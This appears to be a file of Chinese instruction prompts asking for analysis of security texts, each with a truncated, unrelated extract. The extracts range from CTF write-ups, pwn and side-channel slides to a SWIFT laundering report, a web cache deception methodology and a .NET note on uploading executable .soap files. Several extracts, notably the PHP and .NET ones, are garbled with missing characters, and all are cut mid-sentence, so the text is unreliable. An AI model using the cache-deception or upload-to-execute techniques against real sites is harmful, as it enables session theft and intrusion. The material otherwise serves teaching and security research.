Instruction: 请分析这段安全相关的文本内容

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安全文本分析：

Aura A peer-to-peer reputation system Cat Okita Copyright 2003 2 INDEX INDEX ................................................................................................................................................................... 2 ABSTRACT .......................................................................................................................................................... 3 INTRODUCTION................................................................................................................................................ 3 BACKGROUND .................................................................................................................................................. 3 REQUIREMENTS............................................................................................................................................... 4 METHODOLOGY............................................................................................................................................... 5 REPUTATION ...................................................................................................................................................... 5 TEMPLATES AND GOSSIP................................................................................................................................... 5 DESIGN ISSUES.................................................................................................................................................. 6 DESIGN................................................................................................................................................................. 7 IMPLEMENTATION ......................................................................................................................................... 9 CONFIGURATION...........................................................................................................................................


Instruction: 请分析这段安全相关的文本内容

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安全文本分析：

/ register_argc_argv boolean Tells PHP whether to declare the argv & argc variables (that would contain the GET information). See also command line. register_argc_argv TRUE Setting this to TRUE means that scripts executed via the CLI SAPI always have access to argc (number of arguments passed to the application) and argv (array of the actual arguments).The PHP variables $argc and $argv are automatically set to the appropriate values when using the CLI SAPI. These values can also be found in the $_SERVER array, for example: [$_SERVER'argv']. PHP register_argc_argv 0x01 CTF register_argc_argv WEB yzddmr6 register_argc_argv register_argc_argv PHP 0x02 register_argc_argv PHP argv argc GET register_argc_argv TRUE CLI SAPI argc argvCLI SAPIPHP $argc $argv $_SERVER $_SERVER['argv'] php.ini register_argc_argv On php ON github Off 5.2.17 On 5.4.455.5.9 7.3.4 Off register_argc_argv Off register_argc_argv <?php error_reporting(0); $a = $_GET['a']; echo $a; var_dump($_SERVER[argv]); var_dump($_SERVER); ?> register_argc_argv register_argc_argv argv argc argv PHP $argv $_SERVER['argv'] $_GET $_POST PHP PHP REQUEST PHP $argv php php argv register_argc_argv CLI $_SERVER['argv'] global $_GLOBALS['argv'] $_SERVER['argv'] $_GLOBALS['argv'] register_argc_argv CLICommand Line Interface SAPI Server Application Programming InterfaceSAPIPHPCLI SAPI CLI SAPIPHPCLI CLIPHPPHP $argv , $argc // test.php <?php var_dump($argc); var_dump($argv); $argc 5 $argv 5 test.php-s-ttest100 $argc $argv test 100 -s -t php getopt() getopt() options: (-) x -x a-z,A-Z,0-9 longopts: () opt --opt optind(>=PHP7.1.0): options php test.php -s -t test 100 getopt ( string $options [, array $longopts [, int &$optind ]] ) : array php getopt.php -apanda -chello -b next -dooo getopt(options) options / FALSE options key value false options getopt() test 100 -s -t 0x03 <?php // getopt.php $test = getopt('a:b:c:de'); var_dump($test); // newtest.php <?php $argv = getopt('s:t:'); var_dump($argc); var_dump($argv); 0x03 $_GET $_


Instruction: 请分析这段安全相关的文本内容

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安全文本分析：

# Drink Me * Category: Web * 150 Points * Solved by the JCTF Team ## Description > Alice can't fit through the little door to get into the beautiful garden because she is too big. > Suddenly she notices a glass bottle has magically appeared on the table. > It has a pink label that says "DRINK ME" tied around it. > Drinking from the bottle will hopefully shrink her. > > So come on, hurry up, before it's too late. ## Solution We visit the attached website and are greeted with a simple interactive game starring Alice from Wonderland. On the table next to here are a key and a potion labeled "Drink Me". If we click the key, the game says "Too Big!". We can drink the potion and shrink a bit, but even after shrinking, clicking the key still says "Too Big!" (and the potion is gone). Let's check the sources: ```javascript // version 2.0 $(document).ready(() => { getSize(); $("#key").on("click", function() { useKey(); }); $("#reset").on("click", async () => { await fetch('/api/reset', { method: 'GET', }).then(() => location.reload()) }); }); const getSize = async () => { await fetch('/api/getsize', { method: 'GET', }) .then((response) => response.json() .then((resp) => { if (response.status == 200) { $('#alice').css('transform', 'scale(' + `${1/(Math.sqrt(resp.size))}` + ')'); if (!resp.shrinked) { const potionDiv = document.createElement("div"); potionDiv.setAttribute("id", "potion"); potionDiv.setAttribute("class", "potion"); const potionImg = document.createElement("img"); potionImg.setAttribute("src","../static/images/potion.png") potionDiv.appendChild(potionImg); document.getElementById("table-wrapper").appendChild(potionDiv); $("#potion").on("click", function() { drink(); }); } return; } })) .catch((error) => { console.log(error); }); } const drink = async () => { await fetch('/api/drink', { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify({ shrink: '2x'}), }) .then((resp) => { if (resp.status == 200) { getSize(); $('#potion').fadeO


Instruction: 请分析这段安全相关的文本内容

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安全文本分析：

7.27.2012 frak.redballoonsecurity.com R E D BALLOON S e c u r i t y { Ang Cui | a@redballoonsecurity.com } www.redballoonsecurity.com FIRMWARE R E V E R S E A N A L Y S I S K O N S O L E W H O A M I W H A T D O I D O 7.27.2012 frak.redballoonsecurity.com a@redballoonsecurity.com W H O A M I W H A T D O I D O 5th Year Ph.D. Candidate Intrusion Detection Systems Lab Columbia University 7.27.2012 frak.redballoonsecurity.com a@redballoonsecurity.com 5th Year Ph.D. Candidate Intrusion Detection Systems Lab Columbia University Co-Founder and CEO Red Balloon Security Inc. www.redballoonsecurity.com 7.27.2012 frak.redballoonsecurity.com W H O A M I W H A T D O I D O a@redballoonsecurity.com 5th Year Ph.D. Candidate Intrusion Detection Systems Lab Columbia University Co-Founder and CEO Red Balloon Security Inc. www.redballoonsecurity.com Past publications:  Pervasive Insecurity of Embedded Network Devices. [RAID10]  A Quantitative Analysis of the Insecurity of Embedded Network Devices. [ACSAC10]  Killing the Myth of Cisco IOS Diversity: Towards Reliable Large-Scale Exploitation of Cisco IOS. [USENIX WOOT 11]  Defending Legacy Embedded Systems with Software Symbiotes. [RAID11]  From Prey to Hunter: Transforming Legacy Embedded Devices Into Exploitation Sensor Grids. [ACSAC11] 7.27.2012 frak.redballoonsecurity.com W H O A M I W H A T D O I D O a@redballoonsecurity.com 5th Year Ph.D. Candidate Intrusion Detection Systems Lab Columbia University Co-Founder and CEO Red Balloon Security Inc. www.redballoonsecurity.com Past Embedded Tinkerings:  Interrupt-Hijack Cisco IOS Rootkit 7.27.2012 frak.redballoonsecurity.com W H O A M I W H A T D O I D O a@redballoonsecurity.com Interrupt-Hijack Rootkit [blackhat USA 2011] 7.27.2012 frak.redballoonsecurity.com a@redballoonsecurity.com 5th Year Ph.D. Candidate Intrusion Detection Systems Lab Columbia University Co-Founder and CEO Red Balloon Security Inc. www.redballoonsecurity.com Past Embedded Tinkerings:  Interrupt-Hijack Cisco IOS Rootk


Instruction: 请分析这段安全相关的文本内容

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安全文本分析：

边信道攻击实战 Kevin2600 . Kevin2600 . 专注无线电; 嵌入式设备安全研究 . NewSky 安全研究员 + 安全培训讲师 . 坚信黑客精神就是不断探索未知领域 边信道的传说? 边信道的传说? . Side-Channel 必须掌握很深的数学知识? . Side-Channel 必须使用昂贵的硬件设备? . Side-Channel 都有哪些实战中的运用 . Side-Channel 作为小白该如何开始 Contents:  边信道的那点事  边信道案例  EM Leaking  边信道案例  Timing Attack  边信道案例  Fault Injection Attack  边信道案例  Power Analysis & Glitch Attack 边信道的那点事 二战期间盟军的一名研究人员发现他的示波器经常有莫名 的噪音. 调查发现信号来源于隔壁房间的某台加密机. 在深 入研究后, 这名研究员成功地将被加密前的明文信息从噪 音中提取出来. 故事起源: WHAT ? 边信道攻击是一种针对软件或硬件设计缺陷, 剑走偏锋的攻击方式 攻击途径通常采用被动式监听, 或通过特殊渠道发送隐蔽数据信号 攻击点不在暴力破解或算法分析, 而是通过功耗; 时序; 电磁泄漏等方 式达到破解目的. 在很多物理隔绝的环境中, 往往也能出奇制胜 WHY ? . Public key signature check . Bootloader 加固 (bootdelay = 0) . 屏蔽调试端口 UART; JTAG; SPI; I2C . 电子设备全部物理隔离 (Air Gapping) HOW ? . 简单功耗分析 (Simple power analysis) . 差分功耗分析 (Differential power analysis) . 需要通过明文或密文触发加密机制运行 . 需要知道用何种加密方式 (AES128; RSA; 3DES) . 功耗数据提取必须在目标加解密的过程中 : 声波信号采集还原打印机原文 : 美国 NSA 电磁波监听 (TEMPEST) : 功耗分析破解南韩公交卡密钥系统 (3DES) : 功耗分析获取 Philipe Hue 智能灯系统密钥 (AES) : 通过测量分析电磁发射获取 GnuPG 密钥信息 (RSA) : 通过声波远程获取物理隔离网络中的数据 (Funtenna) 被动式: : Xbox360 Glitch 攻击 (运行 unsigned code) : 智能网关 Hue NAND Glitch (得到 Root 权限) : 腾讯玄武激光发指令到二维码读取器 (Bad Barcode) : 浙江 & Michigan 大学通过声波干扰视频监控硬盘存储 : 以色列 Ben-Gurion 大学通过 USB 发送电磁信号 (USBee) : Osmo-fl2k 软件无线电发送 FM; GSM; UMTS 与 GPS 信号 主动式: 边信道案例  EM leaking 电磁波 101  电磁波是电磁场的运动形态, 属于能量的一种  自身温度大于绝对零度物体, 都可以发射电磁波  电磁波应用广泛微波炉; 移动通信; 无线卫星通信  电子设备产生电磁波, 对无线电设备造成信号干扰 视频演示 电磁泄漏隐患 . 电子设备利用电磁波信号, 发射信息内容从而 泄漏机密 (Soft-Tempest) . 电子设备电磁信号可被解码并还原, 达到远程 监控目的 (Hard-Tempest) . 美国NSA 和北约组织制定安全标准, 要求对涉 密设备进行电磁屏蔽, 并严格限制泄漏电磁辐 射的强度 视频演示 电磁信号分析 . Tel Aviv 大学科研人员通过测量分析电磁发 射获取 GnuPG 密钥信息 . 电磁波可通过H探头和便宜的软件无线电 设备远程获取 . 芯片解密过程中执行的计算量不同, 所需电 量也不同 . 芯片01转换产生电磁波从空气中泄漏, 其 中包含密钥指纹信息 电磁注入 . EMP-Jammer 高能电磁场发射器 (危险!!!) . 瞬间大量电流通过导体将产生高能电磁场 . 电磁注入将造成电子设备故障或意外惊喜 ;) . 将设备放入塑料袋或铝箔包裹可防止电磁攻击 视频演示 边信道案例  Timing Attack 密码比对 时序攻击 . 仅需普通示波仪即可完成攻击 . 密码位输错给予相对反应 (LED 灯亮 . 不安全的函数 memcmp() (单字节比对) . 密码位比对的时间越久, 猜中可能性越大 . 降低猜测空间 (6*6*6*6*6*6 = 46656 ) --> (6+6+6+6+6+6 = 36) 时序攻击 视频演示 边信道案例  Fault Injection Got Ro


Instruction: 请分析这段安全相关的文本内容

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安全文本分析：

.\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH "VACUUMDB" "1" "2003-11-02" "Application" "PostgreSQL Client Applications" .SH NAME vacuumdb \- 收集垃圾并且分析一个PostgreSQL 数据库 .SH SYNOPSIS .sp \fBvacuumdb\fR\fR [ \fR\fB\fIconnection-option\fB\fR...\fB \fR\fR]\fR \fR[\fR \fB--full\fR\fR | \fR\fB-f\fR\fR ]\fR \fR[\fR \fB--verbose\fR\fR | \fR\fB-v\fR\fR ]\fR \fR[\fR \fB--analyze\fR\fR | \fR\fB-z\fR\fR ]\fR\fR [ \fR\fB--table | -t \fItable\fB\fR [ \fB( \fIcolumn\fB [,...] ) \fR]\fB \fR\fR]\fR\fR [ \fR\fB\fIdbname\fB \fR\fR]\fR \fBvacuumdb\fR\fR [ \fR\fB\fIconnection-options\fB\fR...\fB \fR\fR]\fR \fR[\fR \fB--all\fR\fR | \fR\fB-a\fR\fR ]\fR \fR[\fR \fB--full\fR\fR | \fR\fB-f\fR\fR ]\fR \fR[\fR \fB--verbose\fR\fR | \fR\fB-v\fR\fR ]\fR \fR[\fR \fB--analyze\fR\fR | \fR\fB-z\fR\fR ]\fR .SH "DESCRIPTION 描述" .PP \fBvacuumdb\fR 是一个用于整理 PostgreSQL 数据库的工具 vacuumdb 还将会生成用于 PostgreSQL 查询优化器的内部统计数据 .PP \fBvacuumdb\fR 是 SQL 命令 VACUUM [\fBvacuum\fR(7)] 的封装 因此用哪种方法清理数据库都没什么特别的 .SH "OPTIONS 选项" .PP \fBvacuumdb\fR 接受下列命令行参数 .TP \fB-a\fR .TP \fB--all\fR 清理所有数据库 .TP \fB[-d] \fIdbname\fB\fR .TP \fB[--dbname] \fIdbname\fB\fR 声明要被清理或分析的数据库名称 如果没有声明这个参数并且没有使用 -a或 --all 那么从环境变量 PGDATABASE 里读取数据库名 如果那个也没有设置则使用连接的用户名 .TP \fB-e\fR .TP \fB--echo\fR 回显 vacuumdb 生成的查询并且把它发送到服务器 .TP \fB-f\fR .TP \fB--full\fR 执行"完全"清理 .TP \fB-q\fR .TP \fB--quiet\fR 不显示响应 .TP \fB-t \fItable\fB [ (\fIcolumn\fB [,...]) ]\fR .TP \fB--table \fItable\fB [ (\fIcolumn\fB [,...]) ]\fR 只是清理或分析 table 字段名称只是在与 --analyze 选项联合使用时才需要声明 .sp .RS .B "Tip:" 提示: 如果你声明了要清理的字段你可能不得不在 shell 上逃逸圆括弧见下面的例子 .RE .sp .TP \fB-v\fR .TP \fB--verbose\fR 在处理过程中打印详细信息 .TP \fB-z\fR .TP \fB--analyze\fR 计算用于优化器的该数据库的统计值 .PP .PP \fBvacuumdb\fR 还接受下面的命令行参数用于联接参数 .TP \fB-h \fIhost\fB\fR .TP \fB--host \fIhost\fB\fR 声明运行服务器的机器的主机名 如果主机名以斜扛开头则它被用做到 Unix 域套接字的路径 .TP \fB-p \fIport\fB\fR .TP \fB--port \fIport\fB\fR 声明服务器在侦听联接的 TCP 端口号或一个本地的 Unix 域套接字文件句柄 .TP \fB-U \fIusername\fB\fR .TP \fB--username \fIusername\fB\fR 进行联接的用户名 .TP \fB-W\fR .TP \fB--password\fR


Instruction: 请分析这段安全相关的文本内容

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安全文本分析：

baesystems.com/SWIFT Follow the Money Understanding the money laundering techniques that support large-scale cyber-heists Follow The Money 2 // 28 1. Summary SWIFT plays a key role in helping its community to reinforce and safeguard the integrity of the global financial ecosystem, and maintains a relentless focus on security. As part of that focus, SWIFT has an ongoing commitment to intelligence sharing and thought leadership that contribute to the communitys understanding of the cyber threat and tactics of cyber criminals. One area where the community has expressed interest in gaining more insight is around the approaches cyber criminals use to extract money once they have executed a successful attack. With this in mind, SWIFT commissioned BAE Systems to research and write this report. Its aim is to illuminate the tactics and techniques used by cyber criminals to cash out so that the SWIFT community can better protect itself, through both cybersecurity controls and financial crime compliance processes. Large scale cyber heists, in which cyber-attackers manage to steal significant amounts of money from banks, continue to create news headlines. Various reports have been produced previously on how some of these attacks, such as those against banks high-value payment systems, succeed and how organisations can mount better defences. BAE Systems and SWIFT have jointly published reports on cyber heist techniques used against financial institutions and the evolution of the cyber threat to the banking community in 2017¹ and 2019² respectively. However, to date, there has not been significant material published on what happens to funds after they have been stolen. This report focuses on that area, specifically the money laundering related activities necessary for cyber-attackers to not only conduct and cash out a successful attack but also avoid the money subsequently being traced. This report describes how money laundering is typically performed in the context of large-scal


Instruction: 请分析这段安全相关的文本内容

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安全文本分析：

# PWN --- **相关工具** - pwntools ```bash 如何验证 pwntools 安装成功 python 进入交互导入 pwn 库出现如下字符证明 pwntools 安装成功 python3 >>> from pwn import * >>> asm("xor eax,eax") b'1\xc0' ``` - [pwndbg/pwndbg](https://github.com/pwndbg/pwndbg) ``` git clone https://github.com/pwndbg/pwndbg.git cd pwndbg echo "source ~/pwndbg/gdbinit.py" >> ~/.gdbinit ./setup.sh ``` - [david942j/one_gadget](https://github.com/david942j/one_gadget) --- ## 基础部分 ### ELF文件 ELF文件有三种类型可以通过ELF Header中的 e_type 成员进行区分 * 可重定位文件Relocatable File ETL_REL一般为.o文件可以与其他目标文件链接来创建可执行文件或共享目标文件的代码和数据静态链接库属于可重定位文件 * 可执行文件Executable File ET_EXEC可以执行的一个程序此文件规定了exec()如何创建一个程序的进程映像 * 共享目标文件Shared Object File ET_DYN一般为.so文件 ### 动态链接和静态链接 链接可以分为静态链接和动态链接俩种gcc默认使用动态链接添加-static即可指定为静态链接这一阶段将目标文件及其依赖库进行链接生成可执行文件主要包括地址和空间分配符号绑定和重定位等操作 linux下动态链接文件 .so - ida打开动态链接文件function里粉色的函数只是一个符号并没有函数具体实现,符号去解析动态链接库里的函数 静态链接文件 .a - ida打开的静态链接function的函数都有函数体实现,并且函数有父函数的实现 ```sh gcc -fno-pie test.o -o test -static 静态链接并且关掉pie gcc -fno-pie -o dytest test.c 动态链接,并且关掉pie ``` ### 部分寄存器的功能 **32位架构下寄存器功能** EIP 存放当前执行的指令的地址 ESP 存放当前栈帧的栈顶地址 EBP 存放当前栈帧的栈底地址 EAX 通用寄存器存放函数返回值 EBX "基地址"(base)寄存器, 在内存寻址时存放基地址 ECX 计数器(counter), 是重复(REP)前缀指令和LOOP指令的内定计数器 ESI/EDI 分别叫做"源/目标索引寄存器"(source/destination index),因为在很多字符串操作指令中, DS:ESI指向源串,而ES:EDI指向目标串. ### 常用的汇编指令 | 指令 | 等同于 | | ---- | ------ | |call func| push pcjmp func| |leave| mov esp ebppop ebp| |ret| pop pc (相当于在栈顶弹出一个数据赋值给EIP寄存器)| |push xxx| 将xxx压栈将esp减4| |pop rdi| 弹栈将此时esp所指内容存入rdi同时esp加4| ### 栈的工作方式 ### linux的保护机制 * RELRO: Full RELRO - 重定向RELRO会有Partial RELRO和FULL RELRO如果开启FULL RELRO意味着我们无法修改got表 * Stack: No canary found - 栈canary检查 * NX: NX enabled - 栈不可执行 * PIE: PIE enabled - 程序地址随机化 * ASLRAddress space layout randomization - 内存地址随机化 --- ## 工具使用 ### gdb的使用 * vmmap查看虚拟内存空间 * break下断点 * del删除断点 * run运行整个程序 * continue继续运行 * start和b main然后run差不多 * n单步步过 * s单步步入 * ni单步步过汇编层面 * si单步步入汇编层面 * bt栈回溯 * x查看内存 * x/nfu <addr> * n,f,u都是可选参数指要显示的内存的格式 * n 代表个数要显示多少单位的内存 * u 代表单位大小b 表示单字节h代表双字节w表示四字节g表示八字节 * x 代表显示格式常用的格式有 x十六进制s字符串i


Instruction: 请分析这段安全相关的文本内容

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安全文本分析：

先放上一个图示 方便理解 然后放上目录结构 1 application 应用目录可设置 2  common 公共模块目录可更改 3  index 模块目录(可更改) 4   config.php 模块配置文件 5   common.php 模块函数文件 6   controller 控制器目录 7   model 模型目录 8   view 视图目录 9    ... 更多类库目录 10  command.php 命令行工具配置文件 11  common.php 应用公共函数文件 12  config.php 应用公共配置文件 13  database.php 数据库配置文件 14  tags.php 应用行为扩展定义文件 15  route.php 路由配置文件 16 extend 扩展类库目录可定义 17 public WEB 部署目录对外访问目录 18  static 静态资源存放目录(css,js,image) 19  index.php 应用入口文件 20  router.php 快速测试文件 21  .htaccess 用于 apache 的重写 22 runtime 应用的运行时目录可写可设置 23 vendor 第三方类库目录Composer 24 thinkphp 框架系统目录 25  lang 语言包目录 26  library 框架核心类库目录 27   think Think 类库包目录 28   traits 系统 Traits 目录 29  tpl 系统模板目录 30  .htaccess 用于 apache 的重写 31  .travis.yml CI 定义文件 32  base.php 基础定义文件 33  composer.json composer 定义文件 34  console.php 控制台入口文件 35  convention.php 惯例配置文件 36  helper.php 助手函数文件可选 37  LICENSE.txt 授权说明文件 38  phpunit.xml 单元测试配置文件 39  README.md README 文件 40  start.php 框架引导文件 41 build.php 自动生成定义文件参考 42 composer.json composer 定义文件 43 LICENSE.txt 授权说明文件 44 README.md README 文件 45 think 命令行入口文件 入口文件为public目录下的index.php 程序或许有一个或者多个入口文件入口文件 一般 首先会检测程序安装情况 定义一些环境变量网站路径等定义应用目录最后一步为加 载框架引导文件 首先进入start.php 一进去就加载了base.php base.php里面做的事情可就多了 1.载入Loader类 thinkPHP5.0真正实现了按需加载所有类库采用自动加载机制并且支 持类库映射和composer类库的自动加载自动加载的实现由think\Loader类库完成自动 加载规范符合PHP的PSR-4 关于Loader类有一个比较重要的方法这里强调一下 2.注册环境变量 3.注册自动加载 以及错误异常处理机制 4.最后一点着重说一下Config的初始化 base.php最后一句话初始化了Config调用了 config类的set方法 其实是加载了convention.php文件 它返回了一个数组 到这里base.php文件执行完毕我们回到start.php中 App::run()->send(); 执行应用这 时候就可以跟进App类了我们跟进run()方法 run方法的默认参数是一个request对象 如果请求不为空 就处理这个请求 如果传入的参数 为空 则先进入Request instance 初始化出一个请求对象 然后调用自身的initcCommon initCommon又调用了init 最后返回Config::get()又一次初 始化了config ,这里注意下我们知道tp嘚每个模块应用都有单独的配置文件所以这里 实现的就是除了加载总的配置文件还要把应用单独的配置文件初始化 接下来的流程我们看 源码嘚注释就可以了解大概了 接下来我们重点关注一个一个变量 $dispatch 它是关键的调度信息用于路由到具体的模 块方法router主要处理后的url就存储在这个变量中 这里先进行路由检测 如果没设置路由规则 就调用tp默认的访问方式 parseurl()返回解析出 来的dispatch 解析出url将目前的dispatch值赋值到request对象中request对象获取到当前请求的调 度信息 可以看到 requests类页游自己的dispatch变量  然后看tp自己的注释


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Mac OS X Server Windows Services Administration For Version 10.3 or Later 034-2356_Cvr 9/12/03 10:28 AM Page 1  Apple Computer, Inc.  2003 Apple Computer, Inc. All rights reserved. The owner or authorized user of a valid copy of Mac OS X Server software may reproduce this publication for the purpose of learning to use such software. No part of this publication may be reproduced or transmitted for commercial purposes, such as selling copies of this publication or for providing paid for support services. Every effort has been made to ensure that the information in this manual is accurate. Apple Computer, Inc., is not responsible for printing or clerical errors. The Apple logo is a trademark of Apple Computer, Inc., registered in the U.S. and other countries. Use of the keyboard Apple logo (Option-Shift-K) for commercial purposes without the prior written consent of Apple may constitute trademark infringement and unfair competition in violation of federal and state laws. Apple, the Apple logo, AppleScript, AppleShare, AppleTalk, ColorSync, FireWire, Keychain, Mac, Macintosh, Power Macintosh, QuickTime, Sherlock, and WebObjects are trademarks of Apple Computer, Inc., registered in the U.S. and other countries. AirPort, Extensions Manager, Finder, iMac, and Power Mac are trademarks of Apple Computer, Inc. Adobe and PostScript are trademarks of Adobe Systems Incorporated. Java and all Java-based trademarks and logos are trademarks or registered trademarks of Sun Microsystems, Inc. in the U.S. and other countries. Netscape Navigator is a trademark of Netscape Communications Corporation. 034-2356/09-20-03 LL2356.book Page 2 Thursday, September 4, 2003 3:21 PM 3 3 Contents Preface 7 About This Guide 7 Using This Guide 8 Getting Additional Information Chapter 1 11 Overview of Windows Services 12 Providing a PDC for Domain Login 12 Providing Home Directories and Roaming User Profiles 13 Joining a PDC as a Domain Member 13 Providing File, Print, Browsing, and Name Resolution Se


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.NET 下的种可执件 在net中,较常的种脚本后戳名有,aspx,ashx,asmx,svc等等(asp等其实并不是由net程序去处理) 在net程序中所有未预编译的程序最终都会进BuildManager, System.Web.Compilation.BulidManager 负责 整站的动态编译 如果开发者在程序根录的 PrecompiledApp.config 中设置了不更新编译内容后,那么最终在 BuildManager 的 GetVPathBuildResultInternal 法中会进判断如果户设置了禁更新编译内容且此时程序内置变 量 allowBuildInPrecompile 为false反向为true那么就会抛出程序未预编译的异常 不同后戳的程序会交给不同的handler进处理这些handler最终都会向GetVPathBuildResultInternal,来 判断程序是否需要编译 多数handler在进GetVPathBuildResultInternal时对allowBuildInPrecompile的赋值都是false 因此判断后戳程序是否为可执程序,只需要跟进其处理的handler,看它最终是否会进 GetVPathBuildResultInternal或者些其他动态编译法就可以 在net.framework框架初始的web.config就定义了些件的处理handler 件路径:C:\Windows\Microsoft.NET\Framework64{version}\Config\Web.config 如常种件类型所对应的处理handler aspx -> System.Web.UI.PageHandlerFactory ashx -> System.Web.UI.SimpleHandlerFactory asmx -> System.Web.Script.Services.ScriptHandlerFactory svc -> System.ServiceModel.Activation.HttpHandler 通过初始web.config中可以看到net程序中其实还有很多可执程序的件类型 如较冷,且鲜为知的种类型: rem -> System.Runtime.Remoting.Channels.Http.HttpRemotingHandlerFactory soap -> System.Runtime.Remoting.Channels.Http.HttpRemotingHandlerFactory xamlx -> System.Xaml.Hosting.XamlHttpHandlerFactory 这主要讲解soap,可rem和soap的处理handler其实是同个,在 HttpRemotingHandlerFactory 的 GetHandler 法中当请求法为GET且件真实存在时会先交由 WebServiceHandlerFactory 去处理 后续也会调 GetCompiledType 法进 BulidManager 对件内容进动态编译处理 soap本身实现的是种远程服务在写法上soap和asmx类似soap需要继承 MarshalByRefObject , asmx则继承 WebService 如Demo: <%@ WebService Language="C#" Class="Test" %> using System; using System.Web; using System.IO; using System.Net; using System.Text; using System.Data; using System.Data.SqlClient; using System.Collections.Generic; using System.Diagnostics; using System.Web.SessionState; using System.Web.Services; using System.Xml; using System.Web.Services.Protocols; public class Test : MarshalByRefObject { [WebMethod(Description="Test")] public string Chopper(String name) { return name; } } 上传到web根录就可以直接运因为soap格式的处理在net框架的web.config中就已经声明了除户 定义了后戳的处理handler或者删掉了不需要使的handler在net中默认可以使.soap后戳的可执程序 在调上,soap和as


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AND OTHER FUN TRICKS Snide / Owen @LinuxBlog github.com/PhreakMe (Latest Slides & Code) Mandatory Disclaimer The opinions expressed in this presentation and on the following slides are solely those of the presenter. There is no guarantee on the accuracy or reliability of the information provided herein. All Service Marks, Trademarks, and Copyrights belong to their respective owners. This is for educational purposes only Introduction  History / Evolution  Anatomy  How to test  Issue Types  Fun Stuff About Me Presentations Fun Moved to US in 2000. So who uses Phones? What industries? Particularly interesting are: banking/finance Healthcare Insurance Utilities Government Military. History Sorry, Wrong number DC23 Exploding The Phone (Book) 2013. History https://en.wikipedia.org/wiki/Dial-up_Internet_access History 1996 ICQ, NetMeeting, SMS (UK) 1997 AIM 1998 Yahoo Messenger 1999 MSN Messenger & Asterisk 2001 TeamSpeak & MMS 2002 Yahoo Messenger Chat 2003 Skype Released - MySpace 2004 Facebook 2005 YouTube 2007 iPhone Recent History  Hangouts  FB Messenger  Signal  Screen Sharing  LiveStreaming  WhatsApp  SnapChat  Kik  etc etc. PBXs Why do people run PBXs?  Reduce Costs  Cheap Calling  "Apps  Voicemail  IVRs  Conferencing  Directories Basic Deployment PBX SoftPhone SIP Phone ATA Phone Common Deployment Provider Provider Location A Location B PBX Large Deployments  Translations  Voice Biometrics  2FA  Mobile  Forwarding  BYOD  Apps  Softphones / Skype More Tech  Call Monitoring  Voicemail Transcribing  Call center / Queue  Ring Groups  Call Backs  Portals  Reporting and Analytics DTMF http://www.genave.com/dtmf.htm https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling Dual Tone Multi Frequency Can be easily generated Common Protocols  SIP  RTP  XMPP  IAX Codecs  G.711  ITU- T  PCM  Alaw  Ulaw  G.711.0  G.711.1  g.722  GSM How? Step 1) Figure out what youre testing Testing Scope Blackbox / Whitebox? Info Gathering Testing Info Gathering  OSINT  Grab Phone Num


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# Web Cache Deception ## Summary * [Tools](#tools) * [Exploit](#exploit) * [Methodology - Caching Sensitive Data](#methodology---caching-sensitive-data) * [Methodology - Caching Custom JavaScript](#methodology---caching-custom-javascript) * [CloudFlare Caching](#cloudflare-caching) * [Labs](#labs) * [References](#references) ## Tools * [PortSwigger/param-miner](https://github.com/PortSwigger/param-miner) > This extension identifies hidden, unlinked parameters. It's particularly useful for finding web cache poisoning vulnerabilities. ## Exploit 1. Browser requests a resource such as `http://www.example.com/home.php/non-existent.css`. 2. Server returns the content of `http://www.example.com/home.php`, most probably with HTTP caching headers that instruct to not cache this page. 3. The response goes through the proxy. 4. The proxy identifies that the file has a css extension. 5. Under the cache directory, the proxy creates a directory named home.php, and caches the imposter "CSS" file (non-existent.css) inside. ## Methodology - Caching Sensitive Data **Example 1** - Web Cache Deception on PayPal Home Page 1. Normal browsing, visit home : `https://www.example.com/myaccount/home/` 2. Open the malicious link : `https://www.example.com/myaccount/home/malicious.css` 3. The page is displayed as /home and the cache is saving the page 4. Open a private tab with the previous URL : `https://www.example.com/myaccount/home/malicous.css` 5. The content of the cache is displayed Video of the attack by Omer Gil - Web Cache Deception Attack in PayPal Home Page [ **Example 2** - Web Cache Deception on OpenAI 1. Attacker crafts a dedicated .css path of the `/api/auth/session` endpoint. 2. Attacker distributes the link 3. Victims visit the legitimate link. 4. Response is cached. 5. Attacker harvests JWT Credentials. ## Methodology - Caching Custom JavaScript 1. Find an un-keyed input for a Cache Poisoning ```js Values: User-Agent Values: Cookie Header: X-Forwarded-Host Header: X-Host Hea


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Protecting Data with Short- Lived Encryption Keys and Hardware Root of Trust Dan Griffin DefCon 2013 What does the NSA think?  The NSA has been public about:  The inevitability of mobile computing  The need to support cloud-based services  Even for use with secret data in the field  General Alexander, head of the NSA, recently spoke of using smartphones as ID cards on classified networks.  What works for them can work for you Introduction  Mobile devices are everywhere and leak like a sieve  But we know that there are more and more of them every day  So now do we stop the impending implosion? Current Technology Landscape  Why are mobile devices less secure  Too hard to enter secure passwords by thumb  Current antimalware is not up to the task  Some are owned by user (ByoD to work)  But Mobile devices are (nearly) all ARM  Which supports Trusted Platform Module 2.0  Some new ones are on Intel Atom with TPM 2.0  So whats holding them back from being secure What is needed to be secure?  Must measure the current state of the mobile device  TPM, measured boot, remote attestation  ARM TZ, SOC  Send bootlogs to the RAS  What measurements can we use?  Firmware hash, time, etc.  Create a statement of health (claim) signed by RAS  Send to mobile device  So mobile devices can prove it is healthy How to use the Health Claim  The Device can use the health claim  To send to service to prove status  To unlock data protected on the device  If the Device is measured to be insecure  Go to remediation  This is nothing new  works just like NAP today Remote Attestation Service (RAS)  Needs secure data from manufacturer  Only ELAM is protected by TPM  State of ELAM in Windows *  Still need traditional AM  Checks user mode code  Even that AM code is verified by the ELAM  How does the content provider trust the RAS  Registration Authority How does the RAS trust the Device? TPM BIOS Boot Loader Kernel Early Drivers Hash of next item(s) Boot Log [PCR data] [AIK pub] [Signature] Is TPM/RAS re


